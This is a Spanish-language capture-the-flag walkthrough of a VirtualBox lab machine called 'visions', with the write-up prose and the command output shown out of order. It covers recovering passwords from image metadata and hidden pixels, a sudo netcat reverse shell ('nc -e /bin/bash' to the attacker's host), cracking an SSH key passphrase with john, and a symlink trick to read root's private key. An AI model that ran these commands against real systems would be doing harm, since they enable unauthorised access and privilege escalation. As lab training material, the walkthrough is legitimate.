Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 03:51 EDT
Nmap scan report for 192.168.5.14
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 85:d0:93:ff:b6:be:e8:48:a9:2c:86:4c:b6:84:1f:85 (RSA)
| 256 5d:fb:77:a5:d3:34:4c:46:96:b6:28:a2:6b:9f:74:de (ECDSA)
|_ 256 76:3a:c5:88:89:f2:ab:82:05:80:80:f9:6c:3b:20:9d (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:08:FB:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
Veremos que hay un puerto 80 en el que hay alojada una pagina web, si entramos dentro veremos simplemente una pagina en blanco vista por fuera, vamos a realizar un poco de fuzzing a ver que nos encontramos.
Si lanzamos un curl para ver el codigo de la pagina veremos lo siguiente:
Info:
Vemos que hay un nombre de usuario llamado alicia y despues una imagen, vamos a probar a descargarnos la imagen y ver si tiene metadatos interesantes.
Escalate user alicia
exiftool
Info:
Vemos una seccion bastante interesante que es la del Comment veremos lo que parece ser una password, por lo que vamos a probarla como el usuario alicia mediante SSH.
SSH
Metemos como contraseña ihaveadream y veremos que estamos dentro.
Escalate user emma
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario nc como el usuario emma por lo que haremos lo siguiente:
Antes de enviar el comando nos pondremos a la escucha:
Ahora si enviaremos el comando y volvemos a donde tenemos la escucha veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user sophia
Despues de un rato buscando, si volvemos a la imagen que nos descargamos de white.png y modificamos las curvas de color de dicha imagen, vamos a ver que obtenermos una contraseña secreta, primero instalaremos la herramienta de gimp.
Despues abriremos con la herramienta la imagen.
Una vez echo eso, nos iremos a Colors -> Curves y dentro de esa seccion tiramos del grafico un poco a la derecha, con esto podremos ver la palabra secreta.
Vamos a probarla con dicho usuario, si nos volvemos a la maquina victima y hacemos lo siguiente:
Metemos como contraseña seemstobeimpossible y veremos que seremos dicho usuario, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos leer como el usuario root el archivo llamado .invisible por lo que vamos hacerlo.
Info:
Vemos que obtenemos una id_rsa como la hemos podido leer como el usuario root vamos a probar a utilizarla con dicho usuario por SSH.
Lo guardamos y establecemos los permisos necesarios, para dicho archivo.
Veremos que nos pide una contraseña, si probamos con el usuario isabella veremos que nos pide la contraseña de la clave PEM por lo que vamos a probar a ver si pudieramos crackear la contraseña de la clave PEM con john.
Info:
Veremos que hemos obtenido la contraseña, por lo que nos conectaremos por SSH mediante dicha contraseña como el usuario isabella.
Metemos como contraseña invisible y veremos que estaremos dentro, acordemonos de que podemos leer como root el archivo .invisible por lo que vamos a eliminar dicho archivo y vamos a crear un enlace simbolico a la id_rsa del usuario root.
Ahora si nos vamos al otro usuario con el que podemos leer como root dicho archivo.
usuario sophia
Info:
Aqui podremos ver que esta es la id_rsa del usuario root ya que hemos creado un enlace simbolico hacia dicha carpeta.
Lo guardamos y establecemos los permisos necesarios, para que se comporte como una id_rsa.
Ahora nos conectaremos por SSH con el usuario root.
Info:
Con esto veremos que seremos el usuario root, por lo que leeremos la flag de root.
<!--
Only those that can see the invisible can do the imposible.
You have to be able to see what doesnt exist.
Only those that can see the invisible being able to see whats not there.
-alicia -->
<img src="white.png">
curl -O http://<IP>/white.png
exiftool white.png
ExifTool Version Number : 13.10
File Name : white.png
Directory : .
File Size : 13 kB
File Modification Date/Time : 2025:05:12 03:53:56-04:00
File Access Date/Time : 2025:05:12 03:53:56-04:00
File Inode Change Date/Time : 2025:05:12 03:53:56-04:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1920
Image Height : 1080
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Background Color : 255 255 255
Pixels Per Unit X : 11811
Pixels Per Unit Y : 11811
Pixel Units : meters
Modify Date : 2021:04:19 08:26:43
Comment : pw:ihaveadream
Image Size : 1920x1080
Megapixels : 2.1
ssh alicia@<IP>
Matching Defaults entries for alicia on visions:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User alicia may run the following commands on visions:
(emma) NOPASSWD: /usr/bin/nc
RHOST=<IP_ATTACKER>
RPORT=<PORT>
sudo -u emma nc -e /bin/bash $RHOST $RPORT
nc -lvnp <IP>
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.14] 45974
whoami
emma
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
apt install gimp
gimp white.png
User: sophia
Pass: seemstobeimpossible
su sophia
hmvicanseeforever
Matching Defaults entries for sophia on visions:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sophia may run the following commands on visions:
(ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
invisible (id_rsa)
1g 0:00:02:13 DONE (2025-05-12 04:26) 0.007488g/s 84.83p/s 84.83c/s 84.83C/s merda..vivalabam
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Linux visions 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 12 04:40:27 2025 from 192.168.5.4
root@visions:~# whoami
root